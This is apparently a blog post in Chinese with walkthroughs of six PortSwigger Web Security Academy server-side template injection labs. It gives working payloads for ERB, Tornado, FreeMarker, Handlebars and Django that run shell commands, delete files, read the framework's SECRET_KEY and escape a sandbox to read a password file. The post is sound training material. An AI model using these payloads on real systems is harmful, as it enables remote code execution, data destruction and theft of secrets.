Portswigger web security academy:Server-side template injection(SSTI)
Portswigger web security academy:Server-side template injection(SSTI)
- Portswigger web security academy:Server-side template injection(SSTI)
- Basic server-side template injection
- Basic server-side template injection (code context)
- Server-side template injection using documentation
- Server-side template injection in an unknown language with a documented exploit
- Server-side template injection with information disclosure via user-supplied objects
- Server-side template injection in a sandboxed environment
Basic server-side template injection
题目要求:

这道题要删除
morale.txtERB:全称是Embedded RuBy,意思是嵌入式的Ruby,是一种文本模板技术。
解题步骤:
进来看都是商品,点了第一个,提示卖完了,然后看到url里有可控参数
message,于是查了一下ERB的用法,打了个<%= 2*2 %>,回显4,说明这里存在ssti
去查了ruby进行系统命令执行的方法
exec 'command',然后ls
发现
morale.txt就在该目录下<%= exec 'rm morale.txt' %>参考:
Basic server-side template injection (code context)
题目要求:

这是一个Tornado框架下的ssti,要求还是删除
morale.txt解题步骤:
题目给了提示,要注意
preferred name功能点,我用burp抓包改了半天也不见回显( 我以为回显点在邮箱角的id处),然后去blog列表看了看,看到了评论功能,随手评论了一下
有回显了,接下来就用repeater改参数,然后看评论
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals['linecache'].os.popen('ls').read() }}
发现
morale.txt就在当前目录下{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals['linecache'].os.popen('rm morale.txt').read() }}删除,然后刷新页面,pass
参考:
https://www.cnblogs.com/R3col/p/12746485.html
(这里有个小插曲,我用这篇博客里的命令执行payload会提示“dict 没有属性 linecache”,于是改成了['xxx']形式)
Server-side template injection using documentation
题目要求:

要求还是一样,删除
morale.txt解题步骤:
这是个管理员账号,可以修改template,随便点一个商品,然后修改模板

说明这里存在ssti
然后在
${}里随便输点内容,有报错,发现是freemarker,查了资料,打了个payload<#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}
有效,直接删除文件
<#assign test="freemarker.template.utility.Execute"?new()> ${test("rm morale.txt")}参考:
https://blog.csdn.net/weixin_33967071/article/details/89831707
Server-side template injection in an unknown language with a documented exploit
题目要求:

还是一样,删除
morale.txt解题步骤:
先点一个商品,发现和前边做过的题一样,会提示已售空,提示信息在url中,可控,尝试
{{4*4}}
发现是
Node.js+Handlebars模板引擎搜了一下
Handlebars server-side template injection,看到一篇介绍,里面跳到了一篇关于HandlebarsSSTI导致RCE的文章,根据介绍和文章,构造payload:{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencode一下就可以了
Server-side template injection with information disclosure via user-supplied objects
题目要求:

要获取
secret key,解题步骤:
先进入模板编辑页面,打个
payload
从提示信息可以看出是django框架,根据题目的提示,思路就有了
通过某种方式找到django默认应用admin的model,再通过这个model获取settings对象,进而获得secret_key因为之前接触过django和tornado,稍微了解一些,尝试了一下
{{ settings.SECRET_KEY}},成功拿到SECRET_KEY
Server-side template injection in a sandboxed environment
题目描述
这道题使用了
Freemarker模板引擎,因为沙盒的实现很糟糕,所以存在ssti漏洞要求逃逸沙河并读取
my_password.txt解题步骤
google了一大圈,没有找到相关度很高的文章,先看看官方solution吧
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
还是一样的思路,通过可调用对象来获取所有类,然后根据需求层层调用方法。
返回的是ascii值,写个脚本解一下就行
s = ''
s = s.split(' ')
for x in s:
print(chr(int(x)), end='')
很多ssti的题目都是这种感觉,思路是有的,但是缺乏寻找目标函数的高效方法。感觉最高效的就是看相关的安全文章和报告,因为官方文档中很少会介绍这些安全相关的函数用法。
Portswigger web security academy:Server-side template injection(SSTI)的更多相关文章
- Portswigger web security academy:Reflected XSS
Portswigger web security academy:Reflected XSS 目录 Portswigger web security academy:Reflected XSS Ref ...
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
- Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...
- Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...
随机推荐
- mysql 使用sleep操作 update 来停止一段时间执行语句 [骚操作]
update mytestTable inner join(select '2' as id, sleep(5)) a on mytestTable.id=a.id set mytestTable.n ...
- 不一样的软件们——GitHub 热点速览 v.21.10
作者:HelloGitHub-小鱼干 创意,是程序员的一个身份代名词,一样的软件有不一样的玩法.比如,你可以像用 git 一样操作一个 SQL 数据库,dolt 就是这样的数据库.又比如,你可以只写文 ...
- Java BasicNameValuePair怎么传数组类型的参数?
BasicNameValuePair 传数组的话可以这样传 map.put("ids[]", 1); map.put("ids[]", 2);
- 使用nodejs进行了简单的文件分卷工具
关键词:node fs readline generator (在这之前需要声明的是这篇博客的应用范围应该算是相当狭隘,写出来主要也就是给自己记录一下临时兴起写的一个小工具,仅从功能需求上来说我相信是 ...
- Sequelize 和 MySQL 对照Sequelize 和 MySQL 对照
安装 这篇文章主要使用MySQL.Sequelize.co来进行介绍.安装非常简单: $ npm install --save co $ npm install --save sequelize $ ...
- 一些比较好的国外IT网站
1.在线编程练习: LintCode --在线刷题网站,阶梯式训练,可帮助你更快速深入地了解各类面试题型,提供专业导师写的最优代码作为参考 (Lintcode 标准答案查询--lintcode 的参考 ...
- android 调用js,js调用android
Java调用JavaScript 1.main.xml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?xml v ...
- 「HTML+CSS」--自定义按钮样式【001】
前言 Hello!小伙伴! 首先非常感谢您阅读海轰的文章,倘若文中有错误的地方,欢迎您指出- 哈哈 自我介绍一下 昵称:海轰 标签:程序猿一只|C++选手|学生 简介:因C语言结识编程,随后转入计算机 ...
- IdentityServer4是什么
1 什么是IdentityServer4? IdentityServer4是用于ASP.NET Core的OpenID Connect和OAuth 2.0框架. 2 什么是OAuth 2.0? OAu ...
- 解Bug之路-主从切换"未成功"?
解Bug之路-主从切换"未成功"? 前言 数据库主从切换是个非常有意思的话题.能够稳定的处理主从切换是保证业务连续性的必要条件.今天笔者就来讲讲主从切换过程中一个小小的问题. 故障 ...